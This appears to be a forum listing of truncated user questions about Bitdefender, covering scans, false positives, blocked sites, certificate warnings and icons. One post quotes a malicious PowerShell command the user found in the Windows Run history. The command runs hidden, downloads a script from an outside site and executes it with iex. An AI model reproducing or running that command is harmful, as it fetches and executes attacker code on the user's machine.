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Daily Scans
I have scheduled a daily scan, which stopped 3 days ago. It's showing that it's scheduled but doesn't run, What's the problem?
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I can't connect to googleleadservices.com
When I click on a sponsored ad on googleleadeservices I get this message....This site can’t be reached www.googleadservices.com refused to connect.Try: Checking the connection Checking the proxy and the firewall ERR_CONNECTION_REFUSED I've looked everywhere..firewalls, etc. Never had a problem until installing Bitdefender.…
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"Our systems have detected unusual traffic from your computer"
Bitdefender does not report I am infected why does this happen quite regularly
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Found a weird command in Run program
I just got out of bed and accidentally opened the Window + R command this is what I found COMMAND: powershell.exe -W Hidden -command $url = 'https://finalsteptogo.com/uploads/tr14.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text The link leads to this and another link…
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Once again, recurrent threat found
So, I've run Bitdefender in several modes and used other antivirus (adwcleaner, eset, malwarebytes) but I keep getting a warnings from Bitdefender abount finding threats in real time and stopping it
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Remote system scan?
Just what does the remote system scan do? And how long should it take. It's been about three hours now, and the only feedback I have gotten so far is "Processing your command ..." and a little spinning icon. Is anything actually going on?
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RAV antivirus, RAV VPN
My desktop PC was recently infected with a virus calling itself RAV antivirus and RAV VPN. Bit-defender didn't detect it even after I ran a boot scan. I'm pretty sure it was a virus because I could not remove it from my Windows 11 PC. It would let me go through the removal exercise but the RAV would come right back. I…
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Total Security - Scan Questions
I have a bunch of questions regarding Total Security scans. Support has been unable to help me with these so far, so I thought that I'd see if anyone here could help me. === Antivirus Menu Why do Quick Scan and System Scan show up twice? Is there anything that can't be done from the second appearance that can from the…
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Allowing app communication through ?Bit Defender firewall
I'm running Bit Defender internet security and was curious if I have certain apps that require communication with each other do I need to somehow allow the apps through a firewall or allow permissions like I do in Windows Defender or is this not required in Bit Defender also? Thanks Dave
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Security Certificate
I hope someone can help me remedy this issue. Do I need to locate and delete a certificate? If so I would appreciate help in doing that. I had Kaspersky antivirus installed on a computer, but I uninstalled it and purchased Bitdefender Total Security. In Bitdefender/Notifications/Critical I am getting this message……
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multiple connection errors trying to connect to scan32.com
Does anyone know what causes tis and how to stop it? chrome.exe attempted to establish a connection relying on an unmatching security certificate to scan32.com. We blocked the connection to keep your data safe since the used certificate was issued for a different web address than the targeted one.Add to exceptions
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Blank icon in taskbar
The issue: Instead of the bitdefender icon, I see a blank icon like the ones here https://i.sstatic.net/K5pOh.png Cause of the issue: Reinstalling malwarebytes. This happened after installing malwarebytes. Uninstalling and reinstalling bitdefender (which forced me to uninstall malwarebytes) temporarily fixed the issue. The…
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How can I tell if I have total protection or just virus protection?
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Bitdefender total security trey icon temporarily greys out on computer start up
I'm running Windows 10 and Bitdefender total security. I've noticed when I reboot or start up my computer the Bitdefender Icon in the system trey will temporarily grey out for 30 seconds or so. Is this an expected behavior? I've totally reinstalled the Bitdefender product twice now and it's made no difference! Once the…
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Where is the blocked websites list?
If a website was blocked in the past, can I locate and unblock it later on?
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Why is BitDefender preventing some website icons from displaying correctly.
Starting a few weeks ago, graphics on multiple website are showing up incorrectly on my browsers. Not all websites but quite a few and it does not seem to matter if I add the website to the exception. I've also tried different browsers.
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Why is Cryptomining Detection a Separate Option?
Why is Cryptomining Detection a Separate Option in Bitdefender Total Security? Seems to me that should be automatically detected.
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I have bitdefender antivirus plus subscription -- does the other 2 devices include my phone
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Email protection disappeared?
Hi, i have Bitdefender Premium security plus. It has been monitoring 4 email accounts, 2 Gmail and 2 outlook. It has suddenly stopped monitoring all but 1 of them. (My main Gmail account). Support guides me to the app to fix the issue but I can't find the email option within it? I know it was there before! Can still see…
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Attack timeline involving compattelrunner
Hello, I am trying to understand this sequence of events from a "threat blocked on your device" due to real time protection: 1) 05:28 Wininit.exe executes services.exe 2) 05:31 services.exe executes svchost.exe 3) 5:40 svchost.exe executes compattelrunner.exe 4) 5:41 (more than a minute later) a FreeFileSync file get…
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'new device discovered' - *what* new device??
i keep getting new device discovered pop-ups, with no information on exactly what device is now considered new [p.s. - i have attached no new devices…]. Some information pointing to what the software is talking about would be very helpful. I've checked what little information is available.
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What does the triangle in the system tray icon mean?
A little triangle has recently appeared in the bottom right corner of the Bitdefender icon in my system tray. What does this represent? The manual seems to suggest this is the default icon shown when everything in okay, but I've been running Bitdefender for about five weeks (30 day trial, then I subscribed about a week…
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Does Bitdefender block a program that searches for a memory address within another program (Windows
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BitDefender prevents me visiting mail.yahoo.gr
Bit Defender reports the followning Suspicious page blocked for your protection https://mail.yahoo.gr/ Your connection to this web page is not safe due to an unmatching security certificate. This means that the certificate was issued for a different web address than the one it is being used for, and you run the risk of…
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Bitdefender Blocking app after download
Hi Bitdefender is blocking one of my apps from installing even after allowing it in the exemption list and clicking i understand take me there anyway.
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Bitdefender and Outlook not updating - Old issue, what's the fix??
I've only recently moved to Bitdefender and appear to have the VERY OLD issue of Outlook randomly not updating. The Bitdefender Helpdesk have given me the "opportunity" to help them analyse this problem by doing various tests for them but surely they should have a solution by now?? This appears to have been a problem for…
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Pagefile.sys listed as trojan
Hey, I was running bitdefender as I usually do when I start my pc, and I got a pop up that "D:\pagefile.sys" is infected with "trojan.pws.ebaypass.a" as well as two temp files in bitdefender were also infected with this. Bitdefender deleted it's two temp files but I'm stuck with what it says about pagefile. From looking up…
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Bitdefender Online Threat Notification
Hi I consistently receive this notification from Bitdefender everytime I open Chrome browser, and keeps notifying me every 2 minutes, which is rather annoying already. I've noticed I had this after rolling up a Windows update. How can I resolve this like if this is a malware thing can it be removed? Or at least the…
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trojan.genericKD.74065074 is this a false positive
File: "Redragon S136_Setup.exe" from redragon
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is this a hacking attempt ?
i installed this software from M.S. store ( check screenshot no 1 ) After the installation when i opened it, bitdefender informed me about a threat ( check screenshot no 2 the website to which the discussed software was about to communicate was inaccessible when i tried and gave this error ( check screenshot no 3 ) plz let…